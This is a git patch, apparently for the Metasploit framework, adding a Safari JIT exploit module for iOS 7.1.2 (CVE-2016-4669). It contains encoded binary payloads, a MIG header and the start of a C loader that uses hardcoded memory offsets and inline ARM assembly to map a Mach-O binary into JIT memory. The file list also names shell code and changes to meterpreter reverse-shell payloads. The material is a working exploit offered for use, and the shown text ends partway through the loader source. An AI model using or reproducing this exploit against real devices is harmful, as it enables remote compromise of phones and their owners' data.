From 79adcf7904235fa98e0b5eef11bc64ab9edde983 Mon Sep 17 00:00:00 2001 From: Tim W Date: Mon, 27 Jul 2020 14:08:37 +0800 Subject: [PATCH] Add module for iOS 7.1.2 --- data/exploits/CVE-2016-4669/loader | Bin 0 -> 1024 bytes data/exploits/CVE-2016-4669/macho | Bin 0 -> 73436 bytes .../source/exploits/CVE-2016-4669/Makefile | 23 + .../source/exploits/CVE-2016-4669/__task.h | 49 + .../source/exploits/CVE-2016-4669/loader.c | 190 +++ .../source/exploits/CVE-2016-4669/macho.h | 11 + .../source/exploits/CVE-2016-4669/macho.m | 1020 +++++++++++++++++ .../exploits/CVE-2016-4669/macho_to_bin.py | 27 + .../source/exploits/CVE-2016-4669/offsets.h | 35 + .../source/exploits/CVE-2016-4669/shell.h | 8 + .../source/exploits/CVE-2016-4669/shell.m | 171 +++ external/source/exploits/CVE-2016-4669/task.c | 206 ++++ .../source/exploits/CVE-2016-4669/utils.h | 46 + .../source/exploits/CVE-2016-4669/utils.m | 248 ++++ .../exploits/apple_ios/browser/safari_jit.rb | 549 +++++++++ .../armle/meterpreter_reverse_http.rb | 2 +- .../armle/meterpreter_reverse_https.rb | 2 +- .../armle/meterpreter_reverse_tcp.rb | 2 +- 18 files changed, 2586 insertions(+), 3 deletions(-) create mode 100644 data/exploits/CVE-2016-4669/loader create mode 100644 data/exploits/CVE-2016-4669/macho create mode 100644 external/source/exploits/CVE-2016-4669/Makefile create mode 100644 external/source/exploits/CVE-2016-4669/__task.h create mode 100644 external/source/exploits/CVE-2016-4669/loader.c create mode 100644 external/source/exploits/CVE-2016-4669/macho.h create mode 100644 external/source/exploits/CVE-2016-4669/macho.m create mode 100644 external/source/exploits/CVE-2016-4669/macho_to_bin.py create mode 100644 external/source/exploits/CVE-2016-4669/offsets.h create mode 100644 external/source/exploits/CVE-2016-4669/shell.h create mode 100644 external/source/exploits/CVE-2016-4669/shell.m create mode 100644 external/source/exploits/CVE-2016-4669/task.c create mode 100644 external/source/exploits/CVE-2016-4669/utils.h create mode 100644 external/source/exploits/CVE-2016-4669/utils.m create mode 100644 modules/exploits/apple_ios/browser/safari_jit.rb diff --git a/data/exploits/CVE-2016-4669/loader b/data/exploits/CVE-2016-4669/loader new file mode 100644 index 0000000000000000000000000000000000000000..e468a1d6752196947deeb0738a534c1a7e59a6e3 GIT binary patch literal 1024 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 +#include +#include +#include +#include +#include +#include +#include +#include + +#ifndef KERNEL +#if defined(__has_include) +#if __has_include() +#ifndef USING_VOUCHERS +#define USING_VOUCHERS +#endif +#ifndef __VOUCHER_FORWARD_TYPE_DECLS__ +#define __VOUCHER_FORWARD_TYPE_DECLS__ +#ifdef __cplusplus +extern "C" { +#endif + extern boolean_t voucher_mach_msg_set(mach_msg_header_t *msg) __attribute__((weak_import)); +#ifdef __cplusplus +} +#endif +#endif // __VOUCHER_FORWARD_TYPE_DECLS__ +#endif // __has_include() +#endif // __has_include +#endif // !KERNEL + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + NDR_record_t NDR; + kern_return_t RetCode; + } __Reply__mach_ports_register_t __attribute__((unused)); +#ifdef __MigPackStructs +#pragma pack() +#endif + + +#endif diff --git a/external/source/exploits/CVE-2016-4669/loader.c b/external/source/exploits/CVE-2016-4669/loader.c new file mode 100644 index 0000000000..4b2070ddd9 --- /dev/null +++ b/external/source/exploits/CVE-2016-4669/loader.c @@ -0,0 +1,190 @@ +// [1] https://iokit.racing/machotricks.pdf + +#include +#include +#include +#include +#include +#include +#include +#include + +// targeting a specific version of os +// on a specific device we can use hard coded +// offsets +#define JSCELL_DESTROY 0x2e49e345 +// this one was extracted at runtime, cause +// the one from the ipsw was not the same as on the phone +#define DLSYM_BASE 0x381227d0 +#define DYLD_START 0x1028 + +#define MINU(a,b) ((unsigned)(a) < (unsigned)(b) ? a : b) + +typedef void * (* dlsym_t)(void *restrict handle, const char *restrict name); +typedef int (* printf_t)(const char * format, ... ); +typedef unsigned int (* sleep_t)(unsigned int seconds); +typedef int (* _fprintf)(FILE *stream, const char *format, ...); +typedef void * (* dlopen_t)(const char* path, int mode); +typedef void * (* malloc_t)(size_t size); + +typedef kern_return_t (* task_info_fn_t)(task_t target_task, + int flavor, task_info_t task_info, + mach_msg_type_number_t *task_info_count); + +typedef mach_port_t (* mach_task_self_t)(void); +typedef char (* strcpy_t)(char *dest, const char *src); + +// @see dyldStartup.s +struct dyld_params +{ + void *base; + // this is set up to have only one param, + // binary name + unsigned argc; + // bin name and NULL + void * argv[2]; + // NULL + void * env[1]; + // NULL + void * apple[2]; + char strings[]; +}; + +void next(uintptr_t JSCell_destroy, void *macho, unsigned pc); + +void __magic_start() { + asm("mov r0, #0"); + asm("mov r0, #0"); + asm("mov r0, #0"); + asm("mov r0, #0"); +} + +// In the MobileSafari part we place two arguments +// right before the first instruction of the loader. +// Extract them and place them as next arguments +__attribute__((naked)) void start() +{ + asm("ldr r1, [pc,#-0xC]"); + asm("ldr r0, [pc,#-0xC]"); + asm("mov r2, pc"); + asm("b _next"); +} + +static void __copy(void *dst, void *src, size_t n) +{ + do { + *(char *)dst = *(char *)src; + dst++; + src++; + } while (--n); +} + +// We map macho file into jit memory. +// The details are outlined in [1]. +void * map_macho(void *macho, void *base) +{ + void *macho_base = (void *)-1; + struct mach_header *header = macho; + union { + struct load_command *cmd; + struct segment_command *segment; + void *p; + unsigned *u32; + } commands; + + commands.p = macho + sizeof(struct mach_header); + + // we assume that the loading address is 0 + // since we are in control of macho file + for (int i=0; incmds; i++) { + // LC_SEGMENT command + if (commands.cmd->cmd == 1) { + + if (commands.segment->filesize == 0) + goto next_cmd; + + macho_base = MINU(macho_base, base + 